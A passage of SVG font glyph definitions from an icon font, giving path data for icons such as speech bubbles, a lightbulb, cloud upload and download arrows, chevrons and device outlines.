<glyph unicode="&#xf0e5;" horiz-adv-x="1792" d="M896 1152q-204 0 -381.5 -69.5t-282 -187.5t-104.5 -255q0 -112 71.5 -213.5t201.5 -175.5l87 -50l-27 -96q-24 -91 -70 -172q152 63 275 171l43 38l57 -6q69 -8 130 -8q204 0 381.5 69.5t282 187.5t104.5 255t-104.5 255t-282 187.5t-381.5 69.5zM1792 640 q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22h-5q-15 0 -27 10.5t-16 27.5v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51t27 59t26 76q-157 89 -247.5 220t-90.5 281q0 174 120 321.5 t326 233t450 85.5t450 -85.5t326 -233t120 -321.5z" />
<glyph unicode="&#xf0e6;" horiz-adv-x="1792" d="M704 1152q-153 0 -286 -52t-211.5 -141t-78.5 -191q0 -82 53 -158t149 -132l97 -56l-35 -84q34 20 62 39l44 31l53 -10q78 -14 153 -14q153 0 286 52t211.5 141t78.5 191t-78.5 191t-211.5 141t-286 52zM704 1280q191 0 353.5 -68.5t256.5 -186.5t94 -257t-94 -257 t-256.5 -186.5t-353.5 -68.5q-86 0 -176 16q-124 -88 -278 -128q-36 -9 -86 -16h-3q-11 0 -20.5 8t-11.5 21q-1 3 -1 6.5t0.5 6.5t2 6l2.5 5t3.5 5.5t4 5t4.5 5t4 4.5q5 6 23 25t26 29.5t22.5 29t25 38.5t20.5 44q-124 72 -195 177t-71 224q0 139 94 257t256.5 186.5 t353.5 68.5zM1526 111q10 -24 20.5 -44t25 -38.5t22.5 -29t26 -29.5t23 -25q1 -1 4 -4.5t4.5 -5t4 -5t3.5 -5.5l2.5 -5t2 -6t0.5 -6.5t-1 -6.5q-3 -14 -13 -22t-22 -7q-50 7 -86 16q-154 40 -278 128q-90 -16 -176 -16q-271 0 -472 132q58 -4 88 -4q161 0 309 45t264 129 q125 92 192 212t67 254q0 77 -23 152q129 -71 204 -178t75 -230q0 -120 -71 -224.5t-195 -176.5z" />
<glyph unicode="&#xf0e7;" horiz-adv-x="896" d="M885 970q18 -20 7 -44l-540 -1157q-13 -25 -42 -25q-4 0 -14 2q-17 5 -25.5 19t-4.5 30l197 808l-406 -101q-4 -1 -12 -1q-18 0 -31 11q-18 15 -13 39l201 825q4 14 16 23t28 9h328q19 0 32 -12.5t13 -29.5q0 -8 -5 -18l-171 -463l396 98q8 2 12 2q19 0 34 -15z" />
<glyph unicode="&#xf0e8;" horiz-adv-x="1792" d="M1792 288v-320q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192h-512v-192h96q40 0 68 -28t28 -68v-320q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192h-512v-192h96q40 0 68 -28t28 -68v-320 q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192q0 52 38 90t90 38h512v192h-96q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h320q40 0 68 -28t28 -68v-320q0 -40 -28 -68t-68 -28h-96v-192h512q52 0 90 -38t38 -90v-192h96q40 0 68 -28t28 -68 z" />
<glyph unicode="&#xf0e9;" horiz-adv-x="1664" d="M896 708v-580q0 -104 -76 -180t-180 -76t-180 76t-76 180q0 26 19 45t45 19t45 -19t19 -45q0 -50 39 -89t89 -39t89 39t39 89v580q33 11 64 11t64 -11zM1664 681q0 -13 -9.5 -22.5t-22.5 -9.5q-11 0 -23 10q-49 46 -93 69t-102 23q-68 0 -128 -37t-103 -97 q-7 -10 -17.5 -28t-14.5 -24q-11 -17 -28 -17q-18 0 -29 17q-4 6 -14.5 24t-17.5 28q-43 60 -102.5 97t-127.5 37t-127.5 -37t-102.5 -97q-7 -10 -17.5 -28t-14.5 -24q-11 -17 -29 -17q-17 0 -28 17q-4 6 -14.5 24t-17.5 28q-43 60 -103 97t-128 37q-58 0 -102 -23t-93 -69 q-12 -10 -23 -10q-13 0 -22.5 9.5t-9.5 22.5q0 5 1 7q45 183 172.5 319.5t298 204.5t360.5 68q140 0 274.5 -40t246.5 -113.5t194.5 -187t115.5 -251.5q1 -2 1 -7zM896 1408v-98q-42 2 -64 2t-64 -2v98q0 26 19 45t45 19t45 -19t19 -45z" />
<glyph unicode="&#xf0ea;" horiz-adv-x="1792" d="M768 -128h896v640h-416q-40 0 -68 28t-28 68v416h-384v-1152zM1024 1312v64q0 13 -9.5 22.5t-22.5 9.5h-704q-13 0 -22.5 -9.5t-9.5 -22.5v-64q0 -13 9.5 -22.5t22.5 -9.5h704q13 0 22.5 9.5t9.5 22.5zM1280 640h299l-299 299v-299zM1792 512v-672q0 -40 -28 -68t-68 -28 h-960q-40 0 -68 28t-28 68v160h-544q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1088q40 0 68 -28t28 -68v-328q21 -13 36 -28l408 -408q28 -28 48 -76t20 -88z" />
<glyph unicode="&#xf0eb;" horiz-adv-x="1024" d="M736 960q0 -13 -9.5 -22.5t-22.5 -9.5t-22.5 9.5t-9.5 22.5q0 46 -54 71t-106 25q-13 0 -22.5 9.5t-9.5 22.5t9.5 22.5t22.5 9.5q50 0 99.5 -16t87 -54t37.5 -90zM896 960q0 72 -34.5 134t-90 101.5t-123 62t-136.5 22.5t-136.5 -22.5t-123 -62t-90 -101.5t-34.5 -134 q0 -101 68 -180q10 -11 30.5 -33t30.5 -33q128 -153 141 -298h228q13 145 141 298q10 11 30.5 33t30.5 33q68 79 68 180zM1024 960q0 -155 -103 -268q-45 -49 -74.5 -87t-59.5 -95.5t-34 -107.5q47 -28 47 -82q0 -37 -25 -64q25 -27 25 -64q0 -52 -45 -81q13 -23 13 -47 q0 -46 -31.5 -71t-77.5 -25q-20 -44 -60 -70t-87 -26t-87 26t-60 70q-46 0 -77.5 25t-31.5 71q0 24 13 47q-45 29 -45 81q0 37 25 64q-25 27 -25 64q0 54 47 82q-4 50 -34 107.5t-59.5 95.5t-74.5 87q-103 113 -103 268q0 99 44.5 184.5t117 142t164 89t186.5 32.5 t186.5 -32.5t164 -89t117 -142t44.5 -184.5z" />
<glyph unicode="&#xf0ec;" horiz-adv-x="1792" d="M1792 352v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5q-12 0 -24 10l-319 320q-9 9 -9 22q0 14 9 23l320 320q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5v-192h1376q13 0 22.5 -9.5t9.5 -22.5zM1792 896q0 -14 -9 -23l-320 -320q-9 -9 -23 -9 q-13 0 -22.5 9.5t-9.5 22.5v192h-1376q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1376v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23z" />
<glyph unicode="&#xf0ed;" horiz-adv-x="1920" d="M1280 608q0 14 -9 23t-23 9h-224v352q0 13 -9.5 22.5t-22.5 9.5h-192q-13 0 -22.5 -9.5t-9.5 -22.5v-352h-224q-13 0 -22.5 -9.5t-9.5 -22.5q0 -14 9 -23l352 -352q9 -9 23 -9t23 9l351 351q10 12 10 24zM1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088 q-185 0 -316.5 131.5t-131.5 316.5q0 130 70 240t188 165q-2 30 -2 43q0 212 150 362t362 150q156 0 285.5 -87t188.5 -231q71 62 166 62q106 0 181 -75t75 -181q0 -76 -41 -138q130 -31 213.5 -135.5t83.5 -238.5z" />
<glyph unicode="&#xf0ee;" horiz-adv-x="1920" d="M1280 672q0 14 -9 23l-352 352q-9 9 -23 9t-23 -9l-351 -351q-10 -12 -10 -24q0 -14 9 -23t23 -9h224v-352q0 -13 9.5 -22.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 22.5v352h224q13 0 22.5 9.5t9.5 22.5zM1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088 q-185 0 -316.5 131.5t-131.5 316.5q0 130 70 240t188 165q-2 30 -2 43q0 212 150 362t362 150q156 0 285.5 -87t188.5 -231q71 62 166 62q106 0 181 -75t75 -181q0 -76 -41 -138q130 -31 213.5 -135.5t83.5 -238.5z" />
<glyph unicode="&#xf0f0;" horiz-adv-x="1408" d="M384 192q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM1408 131q0 -121 -73 -190t-194 -69h-874q-121 0 -194 69t-73 190q0 68 5.5 131t24 138t47.5 132.5t81 103t120 60.5q-22 -52 -22 -120v-203q-58 -20 -93 -70t-35 -111q0 -80 56 -136t136 -56 t136 56t56 136q0 61 -35.5 111t-92.5 70v203q0 62 25 93q132 -104 295 -104t295 104q25 -31 25 -93v-64q-106 0 -181 -75t-75 -181v-89q-32 -29 -32 -71q0 -40 28 -68t68 -28t68 28t28 68q0 42 -32 71v89q0 52 38 90t90 38t90 -38t38 -90v-89q-32 -29 -32 -71q0 -40 28 -68 t68 -28t68 28t28 68q0 42 -32 71v89q0 68 -34.5 127.5t-93.5 93.5q0 10 0.5 42.5t0 48t-2.5 41.5t-7 47t-13 40q68 -15 120 -60.5t81 -103t47.5 -132.5t24 -138t5.5 -131zM1088 1024q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5 t271.5 -112.5t112.5 -271.5z" />
<glyph unicode="&#xf0f1;" horiz-adv-x="1408" d="M1280 832q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 832q0 -62 -35.5 -111t-92.5 -70v-395q0 -159 -131.5 -271.5t-316.5 -112.5t-316.5 112.5t-131.5 271.5v132q-164 20 -274 128t-110 252v512q0 26 19 45t45 19q6 0 16 -2q17 30 47 48 t65 18q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5q-33 0 -64 18v-402q0 -106 94 -181t226 -75t226 75t94 181v402q-31 -18 -64 -18q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5q35 0 65 -18t47 -48q10 2 16 2q26 0 45 -19t19 -45v-512q0 -144 -110 -252 t-274 -128v-132q0 -106 94 -181t226 -75t226 75t94 181v395q-57 21 -92.5 70t-35.5 111q0 80 56 136t136 56t136 -56t56 -136z" />
<glyph unicode="&#xf0f2;" horiz-adv-x="1792" d="M640 1152h512v128h-512v-128zM288 1152v-1280h-64q-92 0 -158 66t-66 158v832q0 92 66 158t158 66h64zM1408 1152v-1280h-1024v1280h128v160q0 40 28 68t68 28h576q40 0 68 -28t28 -68v-160h128zM1792 928v-832q0 -92 -66 -158t-158 -66h-64v1280h64q92 0 158 -66 t66 -158z" />
<glyph unicode="&#xf0f3;" horiz-adv-x="1792" d="M912 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM1728 128q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-181 75t-75 181h-448q-52 0 -90 38t-38 90q50 42 91 88t85 119.5t74.5 158.5 t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q190 -28 307 -158.5t117 -282.5q0 -139 19.5 -260t50 -206t74.5 -158.5t85 -119.5t91 -88z" />
<glyph unicode="&#xf0f4;" horiz-adv-x="1920" d="M1664 896q0 80 -56 136t-136 56h-64v-384h64q80 0 136 56t56 136zM0 128h1792q0 -106 -75 -181t-181 -75h-1280q-106 0 -181 75t-75 181zM1856 896q0 -159 -112.5 -271.5t-271.5 -112.5h-64v-32q0 -92 -66 -158t-158 -66h-704q-92 0 -158 66t-66 158v736q0 26 19 45 t45 19h1152q159 0 271.5 -112.5t112.5 -271.5z" />
<glyph unicode="&#xf0f5;" horiz-adv-x="1408" d="M640 1472v-640q0 -61 -35.5 -111t-92.5 -70v-779q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v779q-57 20 -92.5 70t-35.5 111v640q0 26 19 45t45 19t45 -19t19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45v416q0 26 19 45t45 19t45 -19t19 -45v-416q0 -26 19 -45 t45 -19t45 19t19 45v416q0 26 19 45t45 19t45 -19t19 -45zM1408 1472v-1600q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v512h-224q-13 0 -22.5 9.5t-9.5 22.5v800q0 132 94 226t226 94h256q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf0f6;" d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z M384 736q0 14 9 23t23 9h704q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64zM1120 512q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704zM1120 256q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704 q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704z" />
<glyph unicode="&#xf0f7;" horiz-adv-x="1408" d="M384 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M640 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M1152 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M640 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M1152 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M640 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M1152 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M640 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M896 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M896 -128h384v1536h-1152v-1536h384v224q0 13 9.5 22.5t22.5 9.5h320q13 0 22.5 -9.5t9.5 -22.5v-224zM1408 1472v-1664q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h1280q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf0f8;" horiz-adv-x="1408" d="M384 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M640 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M1152 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M640 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M896 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M896 -128h384v1152h-256v-32q0 -40 -28 -68t-68 -28h-448q-40 0 -68 28t-28 68v32h-256v-1152h384v224q0 13 9.5 22.5t22.5 9.5h320q13 0 22.5 -9.5t9.5 -22.5v-224zM896 1056v320q0 13 -9.5 22.5t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-96h-128v96q0 13 -9.5 22.5 t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5v96h128v-96q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1408 1088v-1280q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1280q0 26 19 45t45 19h320 v288q0 40 28 68t68 28h448q40 0 68 -28t28 -68v-288h320q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf0f9;" horiz-adv-x="1920" d="M640 128q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM256 640h384v256h-158q-14 -2 -22 -9l-195 -195q-7 -12 -9 -22v-30zM1536 128q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5 t90.5 37.5t37.5 90.5zM1664 800v192q0 14 -9 23t-23 9h-224v224q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-224h-224q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h224v-224q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v224h224q14 0 23 9t9 23zM1920 1344v-1152 q0 -26 -19 -45t-45 -19h-192q0 -106 -75 -181t-181 -75t-181 75t-75 181h-384q0 -106 -75 -181t-181 -75t-181 75t-75 181h-128q-26 0 -45 19t-19 45t19 45t45 19v416q0 26 13 58t32 51l198 198q19 19 51 32t58 13h160v320q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf0fa;" horiz-adv-x="1792" d="M1280 416v192q0 14 -9 23t-23 9h-224v224q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-224h-224q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h224v-224q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v224h224q14 0 23 9t9 23zM640 1152h512v128h-512v-128zM256 1152v-1280h-32 q-92 0 -158 66t-66 158v832q0 92 66 158t158 66h32zM1440 1152v-1280h-1088v1280h160v160q0 40 28 68t68 28h576q40 0 68 -28t28 -68v-160h160zM1792 928v-832q0 -92 -66 -158t-158 -66h-32v1280h32q92 0 158 -66t66 -158z" />
<glyph unicode="&#xf0fb;" horiz-adv-x="1920" d="M1920 576q-1 -32 -288 -96l-352 -32l-224 -64h-64l-293 -352h69q26 0 45 -4.5t19 -11.5t-19 -11.5t-45 -4.5h-96h-160h-64v32h64v416h-160l-192 -224h-96l-32 32v192h32v32h128v8l-192 24v128l192 24v8h-128v32h-32v192l32 32h96l192 -224h160v416h-64v32h64h160h96 q26 0 45 -4.5t19 -11.5t-19 -11.5t-45 -4.5h-69l293 -352h64l224 -64l352 -32q261 -58 287 -93z" />
<glyph unicode="&#xf0fc;" horiz-adv-x="1664" d="M640 640v384h-256v-256q0 -53 37.5 -90.5t90.5 -37.5h128zM1664 192v-192h-1152v192l128 192h-128q-159 0 -271.5 112.5t-112.5 271.5v320l-64 64l32 128h480l32 128h960l32 -192l-64 -32v-800z" />
<glyph unicode="&#xf0fd;" d="M1280 192v896q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-320h-512v320q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-896q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v320h512v-320q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1536 1120v-960 q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf0fe;" d="M1280 576v128q0 26 -19 45t-45 19h-320v320q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-320h-320q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h320v-320q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v320h320q26 0 45 19t19 45zM1536 1120v-960 q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf100;" horiz-adv-x="1024" d="M627 160q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23zM1011 160q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23 t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23z" />
<glyph unicode="&#xf101;" horiz-adv-x="1024" d="M595 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23zM979 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23 l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
<glyph unicode="&#xf102;" horiz-adv-x="1152" d="M1075 224q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23zM1075 608q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393 q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
<glyph unicode="&#xf103;" horiz-adv-x="1152" d="M1075 672q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23zM1075 1056q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23 t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
<glyph unicode="&#xf104;" horiz-adv-x="640" d="M627 992q0 -13 -10 -23l-393 -393l393 -393q10 -10 10 -23t-10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
<glyph unicode="&#xf105;" horiz-adv-x="640" d="M595 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
<glyph unicode="&#xf106;" horiz-adv-x="1152" d="M1075 352q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
<glyph unicode="&#xf107;" horiz-adv-x="1152" d="M1075 800q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
<glyph unicode="&#xf108;" horiz-adv-x="1920" d="M1792 544v832q0 13 -9.5 22.5t-22.5 9.5h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-832q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5zM1920 1376v-1088q0 -66 -47 -113t-113 -47h-544q0 -37 16 -77.5t32 -71t16 -43.5q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19 t-19 45q0 14 16 44t32 70t16 78h-544q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
<glyph unicode="&#xf109;" horiz-adv-x="1920" d="M416 256q-66 0 -113 47t-47 113v704q0 66 47 113t113 47h1088q66 0 113 -47t47 -113v-704q0 -66 -47 -113t-113 -47h-1088zM384 1120v-704q0 -13 9.5 -22.5t22.5 -9.5h1088q13 0 22.5 9.5t9.5 22.5v704q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5z M1760 192h160v-96q0 -40 -47 -68t-113 -28h-1600q-66 0 -113 28t-47 68v96h160h1600zM1040 96q16 0 16 16t-16 16h-160q-16 0 -16 -16t16 -16h160z" />
<glyph unicode="&#xf10a;" horiz-adv-x="1152" d="M640 128q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1024 288v960q0 13 -9.5 22.5t-22.5 9.5h-832q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h832q13 0 22.5 9.5t9.5 22.5zM1152 1248v-1088q0 -66 -47 -113t-113 -47h-832 q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h832q66 0 113 -47t47 -113z" />
